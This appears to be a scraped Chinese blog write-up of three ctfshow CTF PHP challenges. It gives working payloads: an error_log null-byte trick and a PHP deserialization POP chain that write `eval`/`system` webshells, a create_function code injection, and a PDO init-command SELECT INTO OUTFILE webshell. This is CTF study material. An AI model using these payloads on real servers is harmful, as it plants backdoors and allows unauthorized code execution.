当前位置: 首页 > news >正文

ctfshow 红包题

前言:

最近一直在搞java很少刷题,看见ctfshow的活动赶紧来复现一波~

ctfshow 红包挑战7

<?php
highlight_file(__FILE__);
error_reporting(2);
extract($_GET);
ini_set($name,$value);
system("ls '".filter($_GET[1])."'"
);function filter($cmd){$cmd = str_replace("'","",$cmd);$cmd = str_replace("\\","",$cmd);$cmd = str_replace("`","",$cmd);$cmd = str_replace("$","",$cmd);return $cmd;
}

代码很简单就是一个替换操作,然后一个system命令执行,变量覆盖还没想到如何利用

而且如果传参 ;则里面会显示  ls ';',所以猜测肯定是要闭合引号、或者注释字符这种

error_reporting(2); //常见的都是0 ,这里是个2很奇怪

extract($_GET);
ini_set($name,$value);   //这里肯定是修改配置的

然后只能显示 ls  /这种,没法截断和注释

(flag近在眼前,我却得不到。。。)

 只能去看佬们的文章了

先查看扩展插件

?1=/usr/local/lib/php/extensions/no-debug-non-zts-20180731/

ini_set("display_errors", "On");//打开错误提示,与题目无关,只是扩展
ini_set("error_reporting",E_ALL);//显示所有错误,与题目无关,只是扩展

ini_set("error_log",""/var/www/html/1.php");
//把报错信息写入web目录下的1.php文件中

error_reporting = E_ALL ;将会向PHP报告发生的每个错误
display_errors = Off ;不显示满足上条 指令所定义规则的所有错误报告
log_errors = On ;决定日志语句记录的位置
log_errors_max_len = 1024 ;设置每个日志项的最大长度
error_log = “你想存放日志文件的路径/php_error.log” ;指定产生的 错误报告写入的日志文件位置

知识点:

xdebug在处理截断问题的时候,会将异常payload回显。而system刚好可以用0字节(%00或者\000)进行截断来触发异常。

(涨知识了,第一次见这种通过修改报错日志的路径,然后利用截断报错写入日志

 

 /?name=error_log&value=1.php
&1=("%0C%08%00%00"^"`{ %2f")<?php system("cat /*");?>

还有佬们给出了这个wp但是没有解释

("%0C%08%00%00"^"`{ %2f")

(" "^"`{ /")但是我感觉也是%00截断报错

 红包挑战8

<?phphighlight_file(__FILE__);
error_reporting(0);extract($_GET);
create_function($name,base64_encode($value))();

那么肯定是考察create_function的用法,$name和value的值可控,但是value经过了base64编码,所以着重利用$name

先回忆一下create_function的作用

<?php$action="\create_function";
$arg="){}var_dump(scandir(\"../\"));//";
$action($arg,'');
echo ($arg);

 

 

发现这篇文章的payload就能通,为啥早点没看懂。。。

JYcxk($name)

{ base64_encode($value) } 

payload就相当于

JYcxk(){}

var_dump(scandir(\"../\"));

注释掉了后面,然后直接var_dump执行

红包挑战9

已经给出了源码那就直接分析

发现index.php中的注册可以跳转到

 

有file_put_contents方法,当时想的是能否用phar反序列化然后用C绕过wakeup,但是生成的那么一堆数据直接传肯定是不行呀。

然后接着看,发现了很多关于session的操作

 1、session里面存放对象时,会自动进行序列化,存放序列化后的字符串
2、session里面拿取对象时,会自动进行反序列化,执行对象的魔术方法

session_decode($_GET)正好是序列化的操作,$data=$_SESSION['user']是反序列化的操作

看哪里调用了getLoginName,发现在index.php中不符合前面的条件就会包含main.php,

 因为在

 需要getCookie=NULL,所以需要在用户名中加一个|这样就不等于2,会返回null

 实际测试,

 

发现序列化成功修改了文件,本来想直接修改filename然后反序列化,用C代替O绕过wakeup发现是不可行的。

 思路

就是绕过wakeup不就可以自定义那个值了嘛,或者找个提前结束的东西

 这里发现了一个die,那么让它执行到die,就会不执行wakeup直接执行destruct

然后就是构造这条链子

application::__destruct -->application::log_last_user-->mysql_helper

 

<?php
class mysql_helper{private $db;
}
class application{public $debug=true;public $loger;public $mysql;public function __construct(){$this->loger = new userLogger();$this->mysql = new mysql_helper();}
}
class userLogger{public $username='<?php eval($_POST[1]);phpinfo();?>';public $password="123456";public $filename="2.php";
}
$a = new application();
echo serialize($a);

 

 

 

看了师傅们的第二种方法是通过PDO数据库做的

果然, 没见过的东西都有trick

 题目应该是开启了PDO扩展(common.php中的mysql_helper类),用来连接数据库。

PHP中文手册->PDO_MYSQL预定义常量。查询到一个预定义常量叫PDO::MYSQL_ATTR_INIT_COMMAND。

它的描述翻译过来是:连接MySQL服务器时执行的命令(SQL语句)。将在重新连接时自动重新执行。注意,这个常量只能在构造一个新的数据库句柄时在driver_options数组中使用。
 

很纳闷我去php 手册找的时候,找不到这个常量(很奇怪)

既然能执行sql语句,

select '<?php eval($_POST[1]);phpinfo();?>' into outfile '/var/www/html/1.php'; 

 和上面基本一样也是调用pdo,只不过不用绕过wakeup了

<?php
session_start();
class mysql_helper
{public $option = array(PDO::MYSQL_ATTR_INIT_COMMAND => "select '<?php eval(\$_POST[1]);phpinfo();?>'  into outfile '/var/www/html/1.php';");
}
class application
{public $mysql;public $debug = true;public function __construct(){$this->mysql = new mysql_helper();}
}$a = new application();
echo urlencode(serialize($a));

总结

其实这几道题都是通过php的扩展来做,还是需要多翻php文档。

 

 

http://www.lryc.cn/news/150453.html

相关文章:

  • SpringBoot项目(jar)部署,启动脚本
  • 大数据(四)主流大数据技术
  • 【已解决】激活虚拟环境报错:此时不应有Anaconda3\envs\[envs]\Library\ssl\cacert.pem。
  • Vue安装过程的困惑解答——nodejs和vue关系、webpack、vue-cli、vue的项目结构
  • PWA ~
  • YII项目在Docker中运行缓慢
  • 合宙Air724UG LuatOS-Air LVGL API控件--图表 (Chart)
  • Three.js之模型对象、材质
  • uniapp启动微信小程序开发者工具报错Enable IDE Service (y/N) 
  • Gitee注册和使用
  • 【Flutter】下载安装Flutter并使用学习dart语言
  • HTTP返回状态值详解整理
  • python web 开发与 Node.js + Express 创建web服务器入门
  • OpenCV(三):Mat类数据的读取
  • 区块链BaaS篇
  • C++|观察者模式
  • 【java 入侵 C# 之路】1-入门
  • 【git】从一个git仓库迁移到另外一个git仓库
  • 控制goroutine 的并发执行数量
  • 深入解析即时通讯App开发中的关键技术
  • ClickHouse进阶(三):ClickHouse 索引
  • 四、MySQL(表操作)如何添加字段?修改表?删除字段?修改表名?删除表?格式化某张表?
  • docker启动paddlespeech服务,并使用接口调用
  • 如何训练ChatGPT以生成音乐和创意艺术作品?
  • 北约报告:2023-2043,下一代量子技术的发展与挑战
  • arm版Linux下安装es集群
  • vConsole调试工具的三种使用方式
  • 不用订阅,不用破解,永久免费使用Axure最新版教程
  • 合宙Air724UG LuatOS-Air LVGL API控件--复选框 (Checkbox)
  • 使用nps实现内网穿透